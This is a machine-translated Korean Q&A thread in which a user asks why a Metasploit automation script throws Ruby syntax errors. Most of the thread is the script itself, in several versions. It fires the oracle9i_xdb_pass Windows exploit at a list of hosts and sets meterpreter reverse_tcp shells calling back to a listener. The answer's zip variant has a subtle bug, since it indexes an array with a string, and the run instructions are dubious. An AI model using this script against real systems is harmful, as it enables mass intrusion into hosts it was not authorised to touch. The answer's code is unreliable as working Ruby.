2017-04-10 2 views
-2

저는 Metasploit을 자동화하려고했지만 성공하지 못했습니다.Metasploit에서 Ruby 스크립트를 실행하는 동안 구문 오류를 해결하는 방법

호스트의 텍스트 파일에 동일한 옵션 ("oracle9i_xdb_pass")을 사용하고 싶습니다.

내 코드입니다 :

내가 ruby xploit.rb를 사용하여이을 programm을 실행할 때
<ruby> 
    lports = ["80","443","445"] 
    index = 0; 
    targets = ["192.168.1.1","192.168.1.2","192.168.1.3"] 
    targets.each do |target| 
     run_single("use exploit/windows/http/oracle9i_xdb_pass") 
     run_single("set LHOST 192.168.2.7") 
     run_single("set PAYLOAD windows/meterpreter/reverse_tcp") 
     run_single("set LPORT #{lports[index]}") 
     run_single("set RHOST #{target}") 
     run_single("set ExitOnSession false") 
     run_single("exploit -j -z") 
     index = index + 1 
    end 
</ruby> 

문제는, 내가 얻을 수있다이 오류 : 당신이 아이디어를 어디서 얻었

ruby exploit.rb 
exploit.rb:1: syntax error, unexpected '<' 
<ruby> 
^ 
exploit.rb:15: syntax error, unexpected '<', expecting end-of-input 
</ruby> 
+7

글쎄, Ruby 구문에는 ''과 같은 내용이 없습니다. –

+1

''HTML 열기 및 닫기 태그없이 파일을 실행 해 보셨습니까? – kparekh01

+0

.rb 파일을 실행할 때 태그가 필요하지 않습니다. '<%= %>'html.erb 파일을 통해 루비를 표시하고자 할 때 사용할 수있는 무엇인가 – kparekh01

답변

1

나도 몰라 코드에 <ruby> 태그를 사용하는 것이지만 루비에서는 그렇지 않습니다. 그들을 제거하는 것은 당신에게 유효한 루비 스크립트 제공 : 당신이 그들 모두를 반복 할 수 있도록 함께 당신의 배열을 zip을 병합 사용

lports = ["80","443","445"] 
targets = ["192.168.1.1","192.168.1.2","192.168.1.3"] 
targets.zip(lports).each do |target, lport| 
    run_single("use exploit/windows/http/oracle9i_xdb_pass") 
    run_single("set LHOST 192.168.2.7") 
    run_single("set PAYLOAD windows/meterpreter/reverse_tcp") 
    run_single("set LPORT #{lports[lport]}") 
    run_single("set RHOST #{target}") 
    run_single("set ExitOnSession false") 
    run_single("exploit -j -z") 
end 

:

lports = ["80","443","445"] 
index = 0; 
targets = ["192.168.1.1","192.168.1.2","192.168.1.3"] 
targets.each do |target| 
    run_single("use exploit/windows/http/oracle9i_xdb_pass") 
    run_single("set LHOST 192.168.2.7") 
    run_single("set PAYLOAD windows/meterpreter/reverse_tcp") 
    run_single("set LPORT #{lports[index]}") 
    run_single("set RHOST #{target}") 
    run_single("set ExitOnSession false") 
    run_single("exploit -j -z") 
    index = index + 1 
end 

그 실행해야합니다 동안을, 깔끔한 루비 트릭이 작업을 수행하는 것입니다 동시에 인덱스 변수가 필요 없으면 스크립트를 실행하기 만하면됩니다.

특수 메타 스플 로트 기능을 사용하고 있으므로 ruby exploit.rb이 작동하지 않을 것이라고 생각합니다. 다음과 같이 meterpreter 셸을 열고 실행해야합니다.

> run exploit 

이 작업을 수행하려면 악용을 올바른 폴더에 저장해야합니다. Linux의 경우 다음과 같습니다.

/usr/share/metasploit-framework/scripts/meterpreter/exploit.rb